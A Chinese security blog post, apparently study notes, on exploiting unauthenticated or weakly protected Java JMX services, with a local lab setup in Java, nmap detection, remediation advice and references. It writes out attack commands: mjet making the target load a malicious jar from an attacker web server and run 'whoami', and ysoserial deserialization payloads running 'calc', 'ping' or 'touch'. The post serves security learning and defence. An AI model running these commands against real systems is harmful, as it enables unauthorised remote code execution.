声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!
在工作中遇到了jmx未授权的漏洞,此前没遇到过,遂在网上找了资料,在本地搭建环境学习了一下。算是一篇学习笔记,有自己的记录,也有其他好心的师傅分享的。在此由衷感谢各位师傅。
漏洞利用 | jmx协议攻击方式
jmx介绍
JMX(Java Management Extensions)。JMX可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。MBean也是JavaBean的一种,在JMX中代表一种可以被管理的资源。一个MBean接口由属性(可读的,可能也是可写的)和操作(可以由应用程序调用)组成。
整体架构图如下:
通俗的讲,JMX是一个服务器,它能让客户端远程访问该服务器上运行的java程序的api,并且可以对该程序通过相应的函数进行增删改查。
一般运维人员常部署zabbix、cacti和nagios对tomcat、weblogic等服务器进行监控,通常通过JMX访问Tomcat、weblogic的方式实现的,通过JVM的queryMBeans方法查询获取具体的Mbean(Thread、JVM、JDBC),根据bean的属性值判断运行状态。
探测jmx的存在
端口扫描
nmap扫描端口nmap -p 18081 -T4 -A -v 192.168.23.1
会显示 jmx 服务
白盒审计
关键词
-
newJMXConnectorServer
-
JMXServiceURL
案例:CVE-2019-0192
其中 JMXServiceURL可控
启动jmx服务
java代码中启动
java命令行启动
java -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=18081 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=xx.xx.xx.xx -jar xxx.jar
测试环境搭建
java command
找到一个可以java -jar 启动长时间不会停止的jar包,比如fofaviewer.jar
命令
java -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=18081 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=192.168.23.1 -jar fofaviewer.jar
jconsole连接
这种搭建方式,简单,但如果启动的jar包中没有利用链,不方便后续添加,可能导致后续yso测试不成功。
java代码
主程序
package org.example.test.jmxdemo;
import org.example.test.TestRef;
import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
/**
* jmxTest.Hello world!
*/
public class JMXServer {
public static void main(String[] args) throws Exception {
System.out.println("jmxTest.Hello World!");
JMXServer app = new JMXServer();
app.restartServer();
}
public void restartServer() throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
try {
// 注册一个MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key1=val1"));
// 再注册一个MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key2=val2"));
} catch (InstanceAlreadyExistsException | MBeanRegistrationException | NotCompliantMBeanException | MalformedObjectNameException e) {
e.printStackTrace();
}
// 新启用一个端口号用于JMX连接
LocateRegistry.createRegistry(10000);
JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(
new JMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.23.1:10000/jmxrmi"),
null,
server);
jcs.start();
}
}
同目录子程序
接口HelloMBean
package org.example.test.jmxdemo;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
接口的实现类Hello
package org.example.test.jmxdemo;
public class Hello implements HelloMBean {
private String name = "Hu3sky";
@Override
public String getName() {
return this.name;
}
@Override
public void setName(String newName) {
this.name = newName;
}
@Override
public String sayHello() {
return "hello: " + name;
}
}
启动程序,jconsole连接。jconsole是java自带的工具,比如在C:Program FilesJavajdk1.8.0_261bin目录下
通过 jconsole 我们可以直接修改注册的MBean对象的属性
以及调用该对象的方法
。
在jconsole中对应
在属性中可以更改val1的属性,比如name
在操作下可以执行hello的函数,sayHello
jmx协议利用
jmx未授权的情况
mjet漏洞利用
下载地址:https://github.com/mogwailabs/mjet
利用条件
-
JMX服务器可以连接到由攻击者控制的http服务。
-
未启用JMX身份验证。
利用
mjet使用的是jpython,需要jython-standalone-2.7.3.jar,可在网上下载。
第一个ip是targetip,运行着易受攻击的JMX服务,第二个ip是攻击者的ip,- JMX服务将连接到攻击者的Web服务,以下载payload jar文件。
令受害者远程rmi加载恶意jar包
java -jar jython-standalone-2.7.3.jar mjet.py 192.168.23.1 10000 install super_secret http://127.0.0.1:8000 8000
命令执行
java -jar jython-standalone-2.7.3.jar mjet.py 192.168.23.1 10000 command super_secret "whoami"
加载完恶意jar包后,查看jconsole,可以看到jmx中注册了新的Mbean,后续利用就是通过这些对象。
卸载恶意类
java -jar jython-standalone-2.7.3.jar mjet.py 192.168.23.1 10000 uninstall
此时查看jconsole, MogwaiLabs已经卸载,不过MLet
没有消失。
Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
是java当中的官方类,也不算是恶意的。如果在意,重启java服务就会消失不见。
mjet调用yso
mjet也可以使用yso命令
ysoserial.jar 移动到 jars 目录
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.3.jar mjet.py --jmxrole user --jmxpassword userpassword 192.168.23.1 10000 deserialize CommonsCollections6 "calc"
更多命令参考 https://github.com/mogwailabs/mjet
ysoserial RCE
直接使用 ysoserial,但是服务器得有gadget。
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "calc"
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "ping 123.xxx"
jmx开启用户名密码认证情况
这里的授权访问形式是指存在密码的情况进行访问,其实很简单,就直接在注册代码中加一个参数走密码认证就行,但是这里只是指单存在密码认证的情况下,如果存在SSL是没办法通此执行命令的。步骤和上面一样,只是增加了枚举账号、密码的步骤。
代码可以参考:https://mp.weixin.qq.com/s/bqQZbRXP5Oa6cf7l2krQtw
jmx开启SSL认证情况
如下代码开启认证后,不能调用jmx.remote.x.mlet.allow.getMBeansFromURL方法
ysoserial工具可以打认证后的MBean服务,但需要利用链。
实现原理就是调用一个MBean方法,该方法接受String(或任何其他类)作为参数。将String类型的参数替换为gadget,ysoserial工具实现的就是将默认Mbean中的java.util.logging:type=Logging中的getLoggerLevel参数进行替换,当然服务器上必须存在有gadget的jar包。
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "calc"
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "ping 123.xxx"
历史漏洞
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
修复方案
-
不要通过com.sun.management.jmxremote.port。这将启动仅本地的JMX服务器,您可以从com.sun.management.jmxremote.localConnectorAddress获得连接地址 http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent .html
-
启用SSL客户端证书身份验证,启用密码验证并使用SSL。
-
配置和保护JMX Console,确保只有授权的用户或IP地址可以访问该控制台。
-
防火墙端口限制。
-
修复历史漏洞。
参考链接
-
【漏洞分析】JMX漏洞-攻击方法 https://mp.weixin.qq.com/s/bqQZbRXP5Oa6cf7l2krQtw
-
梦游一次从jmx到rce https://y4er.com/posts/from-jmx-to-rce/
-
JMX-RMI https://hu3sky.github.io/2020/03/06/JMX-RMI/#Jconsole
-
基于JMX协议攻击方式总结 https://www.anquanke.com/post/id/200682
-
JConsole:Java监视与管理控制台 https://blog.csdn.net/zhaoqingquanajax/article/details/117000899
-
JMX漏洞-攻击方法 https://mp.weixin.qq.com/s/bqQZbRXP5Oa6cf7l2krQtw
-
记一次梦游渗透从jmx到rce https://y4er.com/posts/from-jmx-to-rce/
-
https://wiki.96.mk/Web安全/Jboss/访问控制不严导致的漏洞/JBoss JMX Console未授权访问Getshell/
-
https://www.moonsec.com/5827.html
-
JMX-RMI https://hu3sky.github.io/2020/03/06/JMX-RMI/
-
https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md
往期推荐
代码审计 | API批量分配导致的普通用户垂直越权到admin
原文始发于微信公众号(进击的HACK):漏洞利用 | jmx协议攻击方式
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论